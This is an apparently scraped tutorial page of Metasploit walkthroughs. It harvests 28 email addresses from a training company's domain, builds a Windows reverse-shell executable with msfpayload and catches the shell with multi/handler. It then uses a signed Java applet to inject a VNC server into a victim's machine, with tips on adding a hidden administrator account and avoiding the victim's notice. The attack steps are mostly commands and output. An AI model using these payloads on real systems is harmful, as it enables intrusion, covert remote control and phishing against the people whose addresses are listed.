-----------<br /> DOMAIN yes The domain name to locate email addresses for<br /> OUTFILE no A filename to store the generated email list<br /> SEARCH_BING true yes Enable Bing as a backend search engine<br /> SEARCH_GOOGLE true yes Enable Google as a backend search engine<br /> SEARCH_YAHOO true yes Enable Yahoo! as a backend search engine<br />msf auxiliary(search_email_collector) > set DOMAIN appintraining.com<br />DOMAIN => appintraining.com<br />msf auxiliary(search_email_collector) > run<br />[*] Harvesting emails .....<br />[*] Searching Google for email addresses from appintraining.com<br />[*] Extracting emails from Google search results...<br />[*] Searching Bing email addresses from appintraining.com<br />[*] Extracting emails from Bing search results...<br />[*] Searching Yahoo for email addresses from appintraining.com<br />[*] Extracting emails from Yahoo search results...<br />[*] Located 28 email addresses for appintraining.com<br />[*] .center@appintraining.com<br />[*] .jayngr.counselor@appintraining.com<br />[*] Pune.kothrud.councellor@appintraining.com<br />[*] Pune.kothrud.director@appintraining.com<br />[*] amritsar.kpark@appintraining.com<br />[*] bangalore.jayngr.counselor@appintraining.com<br />[*] bangalore.jayngr.trainer@appintraining.com<br />[*] bangalore.srd.center@appintraining.com<br />[*] baroda.shrenikpark@appintraining.com<br />[*] bhilai.cvcentre@appintraining.com<br />[*] calicut.eranhi.placement@appintraining.com<br />[*] chennai.annasalai.director@appintraining.com<br />[*] counselor@appintraining.com<br />[*] delhi_pitampura@appintraining.com<br />[*] faridabad.sec15@appintraining.com<br />[*] international@appintraining.com<br />[*] jabalpur.civillines@appintraining.com<br />[*] jayngr.counselor@appintraining.com<br />[*] kanpur.kakadeo@appintraining.com<br />[*] karad.satara@appintraining.com<br />[*] karnal.sec13@appintraining.com<br />[*] mohali.phase8b@appintraining.com<br />[*] mumbai.grantroad.counselor@appintraining.com<br />[*] nagpur.bajajnagar@appintraining.com<br />[*] noida.sector2@appintraining.com<br />[*] punjabibagh.nwa.center@appintraining.com<br />[*] rajkot.kalawadroad@appintraining.com<br />[*] shrenikpark@appintraining.com<br />[*] Auxiliary module execution completed<br />Binary payloads<br />Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering, if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.<br />We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this we will use the command line tool msfpayload. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the X command.<br />We'll generate a Windows reverse shell executable that will connect back to us on port 31337.  Notice that msfpayload operates the same way as msfcli in that you can append the letter 'O' to the end of the command string to see which options are available to you.<br />root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O       Name: Windows Command Shell, Reverse TCP Inline    Version: 6479   Platform: Windows       Arch: x86Needs Admin: No Total size: 287Provided by:  vlad902 vlad902@gmail.com Basic options:Name       Current Setting  Required  Description ----       ---------------  --------  ----------- EXITFUNC   seh              yes       Exit technique: seh, thread, process LHOST                       yes       The local address LPORT      4444             yes       The local port <br />Description:Connect back to attacker and spawn a command shell<br />root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 OName: Windows Command Shell, Reverse TCP InlineVersion: 6479Platform: WindowsArch: x86Needs Admin: NoTotal size: 287<br />Provided by:vlad902 vlad902@gmail.com<br />Basic options:Name       Current Setting  Required  Description ----       ---------------  --------  ----------- EXITFUNC   seh              yes       Exit technique: seh, thread, process LHOST      192.168.0.1   yes       The local address LPORT      31337            yes       The local port Description:Connect back to attacker and spawn a command shellroot@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=31337 X > /tmp/1.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/shell_reverse_tcpLength: 287Options: LHOST=192.168.0.1,LPORT=31337root@bt:/pentest/exploits/framework3# file /tmp/1.exe/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bitNow we see we have a windows executable ready to go. Now, we will use 'multi/handler'  which is a stub that handles exploits launched outside of the framework.root@bt4:/pentest/exploits/framework3# ./msfconsole<br />                ##                          ###           ##    ## ##  ##  #### ###### ####  #####   #####    ##    ####        ############# ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ######### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    #### # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ####   ##  #### ###   #####   #####     ##   ####   ####   #### ###                                      ##       =[ metasploit v3.3-rc1 [core:3.3 api:1.0]+ -- --=[ 371 exploits - 234 payloads+ -- --=[ 20 encoders - 7 nops       =[ 149 auxmsf > use exploit/multi/handlermsf exploit(handler) > show optionsModule options:   Name  Current Setting  Required  Description     ----  ---------------  --------  -----------  <br />Exploit target:   Id  Name                --  ----                0   Wildcard TargetWhen using the 'exploit/multi/handler' module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.msf exploit(handler) > set payload windows/shell/reverse_tcppayload => windows/shell/reverse_tcpmsf exploit(handler) > show optionsModule options:   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/shell/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  thread           yes       Exit technique: seh, thread, process   LHOST                      yes       The local address   LPORT     4444             yes       The local portExploit target:   Id  Name   --  ----   0   Wildcard Target  msf exploit(handler) > set LHOST 192.168.0.1LHOST => 192.168.0.1msf exploit(handler) > set LPORT 31337LPORT => 31337msf exploit(handler) >Now that we have everything set up and ready to go, we run 'exploit' for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.msf exploit(handler) > exploit[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Sending stage (474 bytes)[*] Command shell session 2 opened (192.168.0.1:31337 -> 172.16.104.128:1150)Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\Students\My Documents><br />Injecting a VNC server into a remote computer<br />We will deploy a VNC server on the remote machine and establish a reverse tcp tunnel back to our machine. In doing so we will be able to view the desktop of the remote machine and do whatever we desire (with the privileges supplied to us by the exploited user account, of course).<br />We need access to the remote computer and for that purpose we'll be using java applet client-side infection (exploit/multi/browser/java_signed_applet) again. But this time the payload will be windows/vncinject/reverse_tcp which reflectively injects a VNC DLL (our server) into memory. The technique of reflective DLL injection is explained in more detail here but I'll give a short outline. Previously, one would force the Windows loader to load the DLL into memory. Unfortunately, this is not the best way of doing things because it requires somewhat interaction with the base system. So in order to minimize this interaction reflective DLL injection was introduced by Stephen Fewer. Instead of using the Windows loader the DLL now contains a minimal Portable Executable (PE) file loader, which it employs to load itself into memory.<br />So let's fire up msfconsole, start up the wicked web server, and wait for the victim to be caught by the trap:<br />msf > use exploit/multi/browser/java_signed_applet<br />msf exploit(java_signed_applet) > set payload windows/vncinject/reverse_tcp<br />payload => windows/vncinject/reverse_tcp<br />msf exploit(java_signed_applet) > set lhost 192.168.1.2<br />lhost => 192.168.1.2<br />msf exploit(java_signed_applet) > exploit<br />[*] Exploit running as background job.<br />[*] Started reverse handler on 192.168.1.2:4444 <br />[*] Using URL: http://0.0.0.0:8080/Gs4BvRDrOLSt<br />[*] Local IP: http://192.168.1.2:8080/Gs4BvRDrOLSt<br />[*] Server started.<br />When the victim accepts to load the applet this is what we'll see:<br />[*] Handling request from 192.168.1.2:63340...<br />[*] Generated executable to drop (37888 bytes).<br />[*] Using static, signed jar. Ready to send.<br />[*] Sending SiteLoader.jar to 192.168.1.2:63345. Waiting for user to click 'accept'...<br />[*] Sending SiteLoader.jar to 192.168.1.2:63345. Waiting for user to click 'accept'...<br />[*] Sending stage (445440 bytes) to 192.168.185.129<br />[*] VNC Server session 1 opened (192.168.1.2:4444 -> 192.168.185.129:1080) at Thu May 27 15:40:34 +0200 2010<br />[*] Starting local TCP relay on 127.0.0.1:5900...<br />[*] Local TCP relay started.<br />Everything is ready and we are in business! All that's left to do is to point a VNC viewer towards our local relay in order to actually see and control the remote desktop. In the following picture you can see the result (the virtual machine running Windows is to the left and the VNC viewer to the right):<br />Our finishing touch is to create a new user \" reaper\" and add him to the group of administrators.. In retrospect It might alarm the victim when a \" Metasploit Courtesy Shell\" pops up. You can disable this by setting the option DisableCourtesyShell to true, though. Also, because the user used the browser just prior to our infection he/she would definitely notice if we suddenly took over the control of the machine. It is therefore crucial to wait until the path is clear (if that ever happens). Another way of gaining access, in opposition to java applet infection, would be preferable because it then doesn't matter if the user is logged in at the time but be sure you don't disable the courtesy shell in that scenario!<br />